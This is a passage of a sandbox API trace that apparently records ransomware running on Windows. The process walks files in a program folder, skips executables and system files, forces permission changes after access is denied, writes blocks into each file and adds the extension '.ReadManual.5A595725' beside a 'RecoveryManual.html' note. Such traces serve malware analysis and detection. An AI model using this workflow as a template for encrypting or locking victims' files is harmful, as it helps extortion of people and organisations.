FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0252.386] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.386] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.388] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.388] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.388] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.388] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37305949035) returned 1 [0252.391] CloseHandle (hObject=0x1a0) returned 1 [0252.391] SetSecurityInfo () returned 0x5 [0252.391] SetSecurityInfo () returned 0x5 [0252.391] LocalFree (hMem=0x674d38) returned 0x0 [0252.391] CloseHandle (hObject=0x184) returned 1 [0252.392] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.392] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.392] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.392] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.392] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.392] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.392] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.392] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.392] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.392] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.392] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" [0252.392] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.392] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0252.393] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37306129473) returned 1 [0252.393] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.393] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.393] GetLastError () returned 0x5 [0252.393] GetNamedSecurityInfoW () returned 0x0 [0252.394] SetNamedSecurityInfoW () returned 0x0 [0252.394] SetNamedSecurityInfoW () returned 0x0 [0252.395] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.395] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0252.395] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0252.396] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0252.396] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.396] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.398] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.399] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.399] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37306749428) returned 1 [0252.399] CloseHandle (hObject=0x1a0) returned 1 [0252.399] SetSecurityInfo () returned 0x5 [0252.399] SetSecurityInfo () returned 0x5 [0252.399] LocalFree (hMem=0x674d38) returned 0x0 [0252.399] CloseHandle (hObject=0x184) returned 1 [0252.400] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.400] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.400] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.400] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.400] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.400] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.400] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.400] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.400] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.400] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.400] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" [0252.400] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.400] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 110 [0252.400] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37306894243) returned 1 [0252.400] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0252.401] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.401] GetLastError () returned 0x5 [0252.401] GetNamedSecurityInfoW () returned 0x0 [0252.401] SetNamedSecurityInfoW () returned 0x0 [0252.402] SetNamedSecurityInfoW () returned 0x0 [0252.403] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.403] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0252.403] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0252.403] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0252.404] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.404] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.406] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.406] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.406] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.406] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37307482494) returned 1 [0252.406] CloseHandle (hObject=0x1a0) returned 1 [0252.406] SetSecurityInfo () returned 0x5 [0252.406] SetSecurityInfo () returned 0x5 [0252.406] LocalFree (hMem=0x674d38) returned 0x0 [0252.406] CloseHandle (hObject=0x184) returned 1 [0252.406] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.406] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.406] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.406] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.407] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.407] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.407] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.407] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.407] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.407] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.407] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" [0252.407] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.407] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 116 [0252.407] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37307581675) returned 1 [0252.407] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.408] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.408] GetLastError () returned 0x5 [0252.408] GetNamedSecurityInfoW () returned 0x0 [0252.408] SetNamedSecurityInfoW () returned 0x0 [0252.409] SetNamedSecurityInfoW () returned 0x0 [0252.410] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.410] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0252.410] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0252.410] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0252.411] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.411] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.412] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.413] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37308165905) returned 1 [0252.413] CloseHandle (hObject=0x1a0) returned 1 [0252.413] SetSecurityInfo () returned 0x5 [0252.413] SetSecurityInfo () returned 0x5 [0252.413] LocalFree (hMem=0x674d38) returned 0x0 [0252.413] CloseHandle (hObject=0x184) returned 1 [0252.414] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.414] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.414] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.414] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.414] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.414] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.414] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.414] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.415] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.415] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.415] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.415] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" [0252.415] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.415] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 107 [0252.415] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37308347603) returned 1 [0252.415] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0252.416] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.416] GetLastError () returned 0x5 [0252.416] GetNamedSecurityInfoW () returned 0x0 [0252.416] SetNamedSecurityInfoW () returned 0x0 [0252.417] SetNamedSecurityInfoW () returned 0x0 [0252.418] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.418] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0252.418] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0252.418] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0252.419] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.419] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.420] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.421] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.421] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.421] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37308964121) returned 1 [0252.421] CloseHandle (hObject=0x1a0) returned 1 [0252.421] SetSecurityInfo () returned 0x5 [0252.421] SetSecurityInfo () returned 0x5 [0252.421] LocalFree (hMem=0x674d38) returned 0x0 [0252.421] CloseHandle (hObject=0x184) returned 1 [0252.421] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.421] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.421] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.421] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.421] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.421] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.421] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.421] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.421] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.422] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.422] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.422] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.422] 